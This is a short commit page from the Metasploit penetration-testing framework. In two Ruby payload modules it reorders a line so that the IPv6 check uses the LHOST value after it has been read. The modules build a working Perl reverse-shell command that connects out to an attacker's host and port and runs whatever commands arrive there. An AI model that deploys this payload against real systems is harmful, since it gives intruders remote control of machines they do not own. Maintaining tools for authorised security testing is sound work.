Fix up some nascent typos

unstable
HD Moore 2011-12-14 00:30:31 -06:00
parent 866e2b6bf3
commit 8dc85f1cc5
2 changed files with 2 additions and 2 deletions

View File

@ -51,8 +51,8 @@ module Metasploit3
# Returns the command string to use for execution # Returns the command string to use for execution
# #
def command_string def command_string
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = datastore['LHOST'] lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
end end

View File

@ -50,8 +50,8 @@ module Metasploit3
# Returns the command string to use for execution # Returns the command string to use for execution
# #
def command_string def command_string
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = datastore['LHOST'] lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
end end